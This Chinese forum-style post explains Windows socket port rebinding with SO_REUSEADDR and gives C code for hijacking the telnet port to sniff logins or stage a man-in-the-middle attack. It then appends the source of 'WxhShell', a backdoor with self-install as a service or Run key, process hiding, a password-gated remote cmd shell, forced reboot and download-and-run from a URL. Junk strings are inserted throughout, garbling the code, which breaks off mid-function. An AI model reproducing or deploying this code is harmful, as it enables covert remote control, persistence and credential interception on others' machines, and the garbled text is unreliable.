在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6y+}=)J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
QC^#ns& 2UJjYrm saddr.sin_family = AF_INET;
{;| >Qn }hyl)?*~ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t1MK5B5jH n/jZi54gO bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Tq*K
=^ Qvl3=[S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U+wfq%Fz 3C7}V{? 这意味着什么?意味着可以进行如下的攻击:
nYbI =_- (n0h#% 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
N!iugGL *N!>c&8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0; BX )CM3vL { 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
LOf)D7T E[2>je 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
mO(A'p "b C|hD^m 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0JS#{EDh+ (f `zd. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
E\lel4ai U,2H) {l/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Q8> LOX} #include
K! I]0!: #include
#9FY;~ #include
g;To}0H #include
*j"u~ NF DWORD WINAPI ClientThread(LPVOID lpParam);
Wd<|DmSy int main()
M'-Z" {
GZCX m+ WORD wVersionRequested;
kK&M>)&o# DWORD ret;
|';oIYs|$ WSADATA wsaData;
"s.]amC BOOL val;
|w3b! SOCKADDR_IN saddr;
O\&-3#e SOCKADDR_IN scaddr;
U1 ;<NUg int err;
|O4LR,{G.w SOCKET s;
!Pf6UNN' SOCKET sc;
#[$zbZ(I>: int caddsize;
}$E341@ HANDLE mt;
L-z9n@=8\ DWORD tid;
<7R+p;y wVersionRequested = MAKEWORD( 2, 2 );
TcKt err = WSAStartup( wVersionRequested, &wsaData );
2vh@KnNU if ( err != 0 ) {
A8oTcX_ printf("error!WSAStartup failed!\n");
cf`g.9pjlx return -1;
J_eu(d[9 }
rGIf/=G^r saddr.sin_family = AF_INET;
'Tbdo >y K);)$8K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<TQ,7M4X ]21`x saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
U *K6FWqiB saddr.sin_port = htons(23);
7Adg; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u}QcyG^ {
s9aa _Th printf("error!socket failed!\n");
7GG:1:2+> return -1;
up==g }
lv!8)GX| val = TRUE;
$/#F9>eZ //SO_REUSEADDR选项就是可以实现端口重绑定的
"OWW -m if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=;A>1g$ {
)1, U~+JFU printf("error!setsockopt failed!\n");
H9%[!
RF return -1;
K'\Jnn }
f(UB$^4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v9
*WM3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
tTE]j-uT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y5z5LG4 ;}KT 3Q<^ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
E/@ {
F!7\Za, ret=GetLastError();
E]dc4US printf("error!bind failed!\n");
;q&uk- return -1;
w:nLm, }
<i~=-Z( listen(s,2);
31&;3?3> while(1)
VOGx {
!x[].Urj caddsize = sizeof(scaddr);
>J) 9&? //接受连接请求
BT^HlW< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/{>_'0 if(sc!=INVALID_SOCKET)
J;*2[o.N {
l1%ubu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
au#/Q if(mt==NULL)
o3cE.YUF {
7* R
%zJ printf("Thread Creat Failed!\n");
5Zuk`%O break;
4L/nEZ!Nsu }
WP5Vev9*+ }
9c{T|+] CloseHandle(mt);
R5N~%Dg)3 }
&$yDnSt\ closesocket(s);
V;d<S@$ WSACleanup();
vD76IG j m return 0;
]jSRO30H3< }
6
\}.l DWORD WINAPI ClientThread(LPVOID lpParam)
"EBCf.3- {
[L=M=;{4 SOCKET ss = (SOCKET)lpParam;
I#/"6%e SOCKET sc;
m:Fdgu9 unsigned char buf[4096];
($Q|9>5, SOCKADDR_IN saddr;
NtNCt;_R7 long num;
Ze?n Q- DWORD val;
!NMiWG4R DWORD ret;
Ctbc!<@o //如果是隐藏端口应用的话,可以在此处加一些判断
:cKdl[E4z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
gI00@p:m saddr.sin_family = AF_INET;
<07]w$m/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
JC#5CCz saddr.sin_port = htons(23);
5!BW!-q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U~w8yMxX {
hjz`0AS printf("error!socket failed!\n");
W9;9\k return -1;
K"zRj L+ }
C=t9P#g*. val = 100;
qfqL"G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fo~>y {
<Qt9MO`a ret = GetLastError();
: . PRM+ return -1;
erOj(ce }
Q]<6voyy if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
yIg^iZD
{
/vpwpVHIpG ret = GetLastError();
X|C=Q return -1;
\f7R^;`_<R }
zU'7x U- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Zr(eH2}0D {
!6hV|2aJy printf("error!socket connect failed!\n");
^91Ae!)d closesocket(sc);
o.V
JnrJ closesocket(ss);
^%0^DN return -1;
z:=E-+ }
iU~xb?,, while(1)
7rG+)kHG {
jhJ<JDJ?` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.>S1do+ //如果是嗅探内容的话,可以再此处进行内容分析和记录
DB}v.. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
dptfIBYc+ num = recv(ss,buf,4096,0);
|.;]e[& if(num>0)
5!aI~(3< send(sc,buf,num,0);
/qFY$vj else if(num==0)
VQ8Fs/Zt! break;
=Y*@8=V num = recv(sc,buf,4096,0);
o#WECs> if(num>0)
7}e5a c send(ss,buf,num,0);
Sjo-Xf} else if(num==0)
Y#+Ws0wN break;
8_pyfb }
4*inN~cU closesocket(ss);
0|g@;Pc closesocket(sc);
wPq9`9 # return 0 ;
QEMT'Cs }
^XG$?2<U 9W,%[ VVcli* ==========================================================
HU$]o N S9^SW3 下边附上一个代码,,WXhSHELL
~NLthZ(O P4.)kK.3q| ==========================================================
4iZg2"[D RJKi98xwJ
#include "stdafx.h"
N1$PW~)Y ]z#)XW3#i #include <stdio.h>
a8-V` #include <string.h>
d[ _@l #include <windows.h>
k~I]Y, #include <winsock2.h>
FHEP/T\5 #include <winsvc.h>
!b&+2y2i[W #include <urlmon.h>
; 6PRi/@ ~gHn>]S0 #pragma comment (lib, "Ws2_32.lib")
L=fy!R #pragma comment (lib, "urlmon.lib")
Lf%=vd 7GS4gSd3 #define MAX_USER 100 // 最大客户端连接数
6J@,bB
jVz #define BUF_SOCK 200 // sock buffer
*e<}hmDr #define KEY_BUFF 255 // 输入 buffer
oylQCbT 5f?GSHA} #define REBOOT 0 // 重启
|K;9b-\ #define SHUTDOWN 1 // 关机
~d1=_p:~T UNwjx7usD #define DEF_PORT 5000 // 监听端口
x}Lj|U$r<X Tx]p4wY:D #define REG_LEN 16 // 注册表键长度
UKV<Ye| #define SVC_LEN 80 // NT服务名长度
rx 74v! R4R\B // 从dll定义API
5c(g7N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(aC=,5N typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'q_ Z
dw% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_9H]:]1QH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
HRrR"b9: = Ul"{T< // wxhshell配置信息
MRK=\qjD
struct WSCFG {
@: =vK?8L int ws_port; // 监听端口
Z2`M8xEiH char ws_passstr[REG_LEN]; // 口令
RticGQy&5 int ws_autoins; // 安装标记, 1=yes 0=no
a^|9rho< char ws_regname[REG_LEN]; // 注册表键名
6}Tftw$0z char ws_svcname[REG_LEN]; // 服务名
t 4zUj%F char ws_svcdisp[SVC_LEN]; // 服务显示名
MffCk!] char ws_svcdesc[SVC_LEN]; // 服务描述信息
(V&d:tW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~av#r=x int ws_downexe; // 下载执行标记, 1=yes 0=no
m;hp1VO) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
"S6";G^I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
mSYm18
3 yb]d5:U };
,7:-V<'Yv .w@B )f* // default Wxhshell configuration
D29Lu(f
struct WSCFG wscfg={DEF_PORT,
}uC]o@/ "xuhuanlingzhe",
[>pBz3fn, 1,
"*j8G8
"Wxhshell",
lw}7kp4
2F "Wxhshell",
^'M^0'_"v "WxhShell Service",
v0! 1W "Wrsky Windows CmdShell Service",
0A~UuH0. "Please Input Your Password: ",
gp{C89gP 1,
PN8#T:E "
http://www.wrsky.com/wxhshell.exe",
f(blqO.@l "Wxhshell.exe"
trrK6(p };
yp^k;G?_d 0%[IG$u)| // 消息定义模块
EirZ}fDJzB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
W^xO/xu1/ char *msg_ws_prompt="\n\r? for help\n\r#>";
%`T}%B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"+7E9m6I char *msg_ws_ext="\n\rExit.";
N\Lu+ x5 char *msg_ws_end="\n\rQuit.";
Ug546Bz char *msg_ws_boot="\n\rReboot...";
#X%!7tU6 char *msg_ws_poff="\n\rShutdown...";
:Z2997@Y char *msg_ws_down="\n\rSave to ";
PWx%~U.8~j F<6(Hw#> char *msg_ws_err="\n\rErr!";
^,ISz-4 char *msg_ws_ok="\n\rOK!";
<bo)p6S& Ly^bP>2i char ExeFile[MAX_PATH];
nh@JGy*L int nUser = 0;
u*I'c2m HANDLE handles[MAX_USER];
5fiWo^s} int OsIsNt;
VY8cy2 l-v m`-_# SERVICE_STATUS serviceStatus;
uI?Z_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
n-jPb064 *w _ o8!3- // 函数声明
m>P\}A^N int Install(void);
-2[4 @ int Uninstall(void);
#>)z}a] int DownloadFile(char *sURL, SOCKET wsh);
GwP!:p| int Boot(int flag);
c?_7e9}2 void HideProc(void);
~MH^R1=] int GetOsVer(void);
p o)lN[v int Wxhshell(SOCKET wsl);
|,oLZCNa void TalkWithClient(void *cs);
!i (V.A int CmdShell(SOCKET sock);
]jVE int StartFromService(void);
\a|~#N3? int StartWxhshell(LPSTR lpCmdLine);
kw2yb P)f8lU^z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i?(cp["7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
.0xk}, U*Y]cohh // 数据结构和表定义
PpG;5 SERVICE_TABLE_ENTRY DispatchTable[] =
GeY!f/yQ< {
x X3I` {wscfg.ws_svcname, NTServiceMain},
\rxjvV4fcZ {NULL, NULL}
g3[-[G^5 };
+CdUr~6 .4"BN<9 // 自我安装
80Fa i int Install(void)
K.wRz/M&g {
~?aFc) char svExeFile[MAX_PATH];
{X?1}5ry HKEY key;
_wb]tE ~g strcpy(svExeFile,ExeFile);
+8?18@obp +kYp!00 // 如果是win9x系统,修改注册表设为自启动
0vSPeZ
if(!OsIsNt) {
/LWk>[Z; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ekq( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,T
zlW\?\ RegCloseKey(key);
t(roj@!x_o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dz/@]a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~%h
)G#N RegCloseKey(key);
K{DmMi];I return 0;
c\rP
-"C }
Nk\ni>Du3 }
GEVDXx>@ }
Y(1?uVYW\d else {
oVHe<zE. j96}E/gF // 如果是NT以上系统,安装为系统服务
0Mn|Yb4p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=e# h;x2 if (schSCManager!=0)
&W<9#RPK' {
.,qh,m\Fo SC_HANDLE schService = CreateService
wI
7gHp (
R8lja%+0$ schSCManager,
Hk4k wscfg.ws_svcname,
]5a3e+ wscfg.ws_svcdisp,
`.~S/$a.& SERVICE_ALL_ACCESS,
"dt}k$Gr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7DK}c]js SERVICE_AUTO_START,
{#?|&n< SERVICE_ERROR_NORMAL,
d]|K%<+( svExeFile,
a)r["*bTx NULL,
dB#c$1 NULL,
T'lycc4~a NULL,
N\tFK*U^I NULL,
+\ "NPK@3 NULL
]CcRI|g} );
9\Ff z& if (schService!=0)
.6rbn8h {
Sw>>]UjU CloseServiceHandle(schService);
YGQ/zB^Pj CloseServiceHandle(schSCManager);
IOxtuR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v\G7V strcat(svExeFile,wscfg.ws_svcname);
/=za
m3kd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7>MG8pf3a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,']CqhL6=R RegCloseKey(key);
hfbu+w): return 0;
uUq= L }
R87@. }
7y30TU CloseServiceHandle(schSCManager);
VR"le&'z" }
cQd?,B3#F }
+C7W2!I[G2 b[:m[^ return 1;
=6\^F i }
^uw]/H3?L lZIJ[. // 自我卸载
[h
B$%i]\< int Uninstall(void)
rzie_)a Y% {
g#6R( HKEY key;
AH'3
5Kf) s}UJv\* if(!OsIsNt) {
ct,;V/Dx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M?('VOy) RegDeleteValue(key,wscfg.ws_regname);
%{V7|Azt RegCloseKey(key);
mb3aUFxA; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
* Z)j"i RegDeleteValue(key,wscfg.ws_regname);
hCgk78O? RegCloseKey(key);
d+]= l+& return 0;
qG~6YCqii }
2Rwd\e.z }
"D4% A!i }
>e-0A else {
E^{!B]/oP GZx*A S]+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ke:EL;*8k if (schSCManager!=0)
~W4SFp {
yEh{9S%6p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
If&y 5C if (schService!=0)
|Go$z3bx {
up8d3 if(DeleteService(schService)!=0) {
xf7YIhL^* CloseServiceHandle(schService);
x)$0Nr62D CloseServiceHandle(schSCManager);
/f oI.S return 0;
rxy5Nrue }
qZV|}M>P) CloseServiceHandle(schService);
p0CPeH }
1.8"N&s CloseServiceHandle(schSCManager);
f2Xn !]o }
jyyig% }
- 3PLP$P {w"Cr0F, return 1;
Tw*p^rU }
_tjexS' VhMVoW // 从指定url下载文件
z_KCG2=5 int DownloadFile(char *sURL, SOCKET wsh)
l:/x&=w {
Ets6tM` HRESULT hr;
#bG6+"g{=L char seps[]= "/";
.YB/7-%M[ char *token;
&e*@:5Z:k char *file;
\x4:i\Fx@ char myURL[MAX_PATH];
; 5[W*,7s char myFILE[MAX_PATH];
b"trg {e nsV= strcpy(myURL,sURL);
DNqC*IvuzM token=strtok(myURL,seps);
B *6ncj while(token!=NULL)
@;hdZLG]`& {
(LXYx< file=token;
HmU6:8V
*Z token=strtok(NULL,seps);
kou7_4oS }
=h
~n5wQG ~mK+Q%G5 GetCurrentDirectory(MAX_PATH,myFILE);
tW-[.Y -M, strcat(myFILE, "\\");
q*a~9.i@ strcat(myFILE, file);
g$hEVT send(wsh,myFILE,strlen(myFILE),0);
{t|#>UCK send(wsh,"...",3,0);
&U}8@; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cQBc6eAi if(hr==S_OK)
}'>mT,ytgk return 0;
: vgn0IQ else
Q^05n$ tI return 1;
2@ZRz%(Oa& 5U]@
Y? }
UH\{:@GjNO 31e
O2|7 // 系统电源模块
gLZJQubz
6 int Boot(int flag)
Nvh&=%{g {
z>
DQ HANDLE hToken;
C6@*l~j TOKEN_PRIVILEGES tkp;
}ALli0n`V) 7kT X if(OsIsNt) {
-F3~X R OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
mV4gw'.;7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%4YSuZg tkp.PrivilegeCount = 1;
]A#:Uc5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\6"=`H0} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
bH'2iG if(flag==REBOOT) {
2*Pk1vrI if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
W5:fY>7 return 0;
r{SDJa }
D+~*nc ~
g else {
R1<$VR if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
$}z/BV1I return 0;
Z*h}E }
5tLb
o }
3/]FT#l]i else {
-:J<JX)o if(flag==REBOOT) {
r=AA
/n< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ue'dI return 0;
ozl!vf# kv }
19!;0fe= else {
{Ja (+NQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
S'NLj( return 0;
~%f$}{ }
{d0-. }
Fpeokr"i DQc\[Gq& return 1;
a)Pr&9I }
P4eH:0=# ^&8hhxCPu| // win9x进程隐藏模块
<o*b6m% void HideProc(void)
1\Pjz
Lj {
!y'>sAf dG]B-(WTC HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V`W '] if ( hKernel != NULL )
4gNN " {
;FF+uK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
eMmNQRmH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
re}PpXRC FreeLibrary(hKernel);
X!'C'3 X }
}Q ]-Y : M+HhTW;I= return;
w%\{4T~ }
<p/2 hHfiD N mxh zjJ // 获取操作系统版本
i'"#{4I int GetOsVer(void)
d,Oagx {
J:&.[ OSVERSIONINFO winfo;
0chpC)#Q3; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
y,ub*-: GetVersionEx(&winfo);
]vn*eqd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
$e--"@[Y return 1;
M"/Jn[ else
ABkDOG2br return 0;
w\eC{,00: }
bDJ!Fc/ &ni#( // 客户端句柄模块
5y\35kT' int Wxhshell(SOCKET wsl)
Dc$q0|N=z {
Qzo -Yw`= SOCKET wsh;
?b{y#du2a struct sockaddr_in client;
d,(q3 DWORD myID;
K@g
~ j%-Ems*H while(nUser<MAX_USER)
?&eS }skL {
nA("
cD[, int nSize=sizeof(client);
OEjX(F3= wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#I0FWZ>W if(wsh==INVALID_SOCKET) return 1;
=5B5 H7&y79mB handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nKr'cb if(handles[nUser]==0)
Sq_.RU closesocket(wsh);
OhCdBO else
Ew
PJ|Z^ nUser++;
zc;kNkV#1Y }
mkyYs[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
x/M$_E<G =lk'[P/p` return 0;
G`0{31us }
&R4?]I ,"#nJC // 关闭 socket
UMd.=HC L void CloseIt(SOCKET wsh)
t!/~_}eD J {
y|MhV/P04 closesocket(wsh);
M*3G nUser--;
"'Fvt-<^S7 ExitThread(0);
,pTZ/#vP# }
*#}=>, v qtZzJ>Y // 客户端请求句柄
eF{uWus void TalkWithClient(void *cs)
vjm? X {
"A~dt5GJ L,#YP#O,j SOCKET wsh=(SOCKET)cs;
44P [P{y char pwd[SVC_LEN];
0Q7<;'m char cmd[KEY_BUFF];
4+d(d char chr[1];
dS 4/spNq int i,j;
s-WZ3g e> 9X while (nUser < MAX_USER) {
}6%\/d1~ 6 &XCd2 if(wscfg.ws_passstr) {
2RNee@!JJP if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|RDmY!9& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
!sQ$a#Ea //ZeroMemory(pwd,KEY_BUFF);
h#'(i<5v
i=0;
nF~</> while(i<SVC_LEN) {
7Bm 18 kq6S`~J^R // 设置超时
X|K"p(N fd_set FdRead;
W{O:j struct timeval TimeOut;
-}`ES] FD_ZERO(&FdRead);
vDZhoD=VR FD_SET(wsh,&FdRead);
%VOn;_Q*B TimeOut.tv_sec=8;
("0@_05OH TimeOut.tv_usec=0;
cN0|! nm* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G;_QE<V~_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e:hkWcV 4r;!b;3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
A`Q'I$fj pwd
=chr[0]; nv1'iSEeOl
if(chr[0]==0xd || chr[0]==0xa) { u.*@lGVW
pwd=0; V#.;OtF]
break; (mz5vzyw
} "u5Hm ^H
i++; n)uvN
} 2ME"=!&5
N]R<EBq
// 如果是非法用户,关闭 socket vn|u&}h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); })!d4EcZf
} 9 P_`IsVK
x7K
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a]'sby
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sY+U$BYB>
3dfG_a61y
while(1) { v39`ct= e
>C y
ZeroMemory(cmd,KEY_BUFF); vzK*1R5
V2sWcV?
// 自动支持客户端 telnet标准 '$pT:4EuGq
j=0; J01w\#62pQ
while(j<KEY_BUFF) { r/1:!Vu(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dl;~-'0
cmd[j]=chr[0]; ;8/w'oe*j
if(chr[0]==0xa || chr[0]==0xd) { s<gZB:~
cmd[j]=0; qKt8sxg
break; v ~.X
} GY<ErS)2
j++; H+vONg
} ;Q&38qI
Pc>$[kT0
// 下载文件 _H}y7
if(strstr(cmd,"http://")) { r9z_8#cR
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t^ LXGQ
if(DownloadFile(cmd,wsh)) CN8GeZ-G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pxjN\q
else 4"1OtBU3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *%1:="W*|
} IF~i*
else { j}XTa[
KK4>8zGR
switch(cmd[0]) { !O
F#4N
u\=gps/Z
// 帮助 J XKps#,(#
case '?': { !Sr^4R +Z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mE)65@3%
break; u{0+w\xH\
} b\NWDH7}
// 安装 c:I1XC
case 'i': { X<@yt HBv
if(Install()) zrk/}b0j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3GqJs
else #n%?}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {:m5<6?x)
break; q88p~Ccoa
} S+>&O3m
// 卸载 *V#v6r7<Y/
case 'r': { yq+<pfaqvK
if(Uninstall()) WI9'$hB\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (y|{^@
else q)gZo[]~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;OQ-T+(T
break; C0/s/p'
} {YZ)IaqZ
// 显示 wxhshell 所在路径 !OWVOq8
case 'p': { l|O^yNS
char svExeFile[MAX_PATH]; * 2[&26D
strcpy(svExeFile,"\n\r"); /-z_"G
strcat(svExeFile,ExeFile); I=D{(%+^d
send(wsh,svExeFile,strlen(svExeFile),0); 4LARqSmt
break; +5Ir=]=T9
} \<|a>{`7]i
// 重启 Y>t*L#i
case 'b': { {l{p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B)
&BqZ&
if(Boot(REBOOT)) $m:}{:LDCf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -`wGF#}y(=
else { . hHt+
closesocket(wsh); g*t.g@B<2
ExitThread(0); ni%^w(J3Q
} B.Xm*adBT
break; {'!D2y.7g
} N_gjOE`x5
// 关机 nosEo?{
case 'd': { x,7axx6
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?: meix
if(Boot(SHUTDOWN)) TfZO0GL$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;K{Vo:C
else { ![vc/wuf
closesocket(wsh); AOWI`
ExitThread(0); j zPC9
} 3ZB;-F5v
break; 6]rrj
} LXXxwIBS
// 获取shell xxV{1, H2
case 's': { *Lh0E/5
CmdShell(wsh); |f>y"T+1
closesocket(wsh); d!gm4hQhl
ExitThread(0); ol[{1KT{
break; d>AVUf<o~
} Gf%o|kX]
// 退出 17
j7j@s)
case 'x': { 71)#'ey
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eq@ v2o7
CloseIt(wsh); ,LMme}FFeb
break; _nRshTt`V&
} `r]Cd
{G
// 离开 T\WNT#My
case 'q': { }pTj8Tr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fza)dJ7
closesocket(wsh); _c(=>
WSACleanup(); +2?0]6EQ
exit(1); PO}Q8Q3
break; %(kq Hxc
} pDKJLa
} 8n73MF
} pGcc6q1
>WD^)W fa
// 提示信息 q%y_<Fw#E
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .(hb8 rCM
} IB?A]oN1{
} ~/#?OLj(T
Dr2h-
return; pUwX
cy<n
} wM yPR_
yf8UfB#a
// shell模块句柄 XWvs~Xw@
int CmdShell(SOCKET sock) Ey n3Vv?v
{ ^twv0>vEo
STARTUPINFO si; |knP
ZeroMemory(&si,sizeof(si)); Mb9q<4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SKtEEFyIR_
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7]^ }
PROCESS_INFORMATION ProcessInfo; GHlra^
char cmdline[]="cmd"; feopO
j6~+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w|Mj8Lc+
return 0; /~^I]D
} oy`m:Xp
"''<:K|
// 自身启动模式 ,G:4H%?
int StartFromService(void) ,C&>mv xA
{ _Pz3QsV9
typedef struct $ i&$ZdX
{ &B2c]GoW
DWORD ExitStatus; o"FX+17
DWORD PebBaseAddress; FKx9$B
DWORD AffinityMask; ]EcZ|c7o9y
DWORD BasePriority; *~cs8<.!1
ULONG UniqueProcessId; ^VIUXa
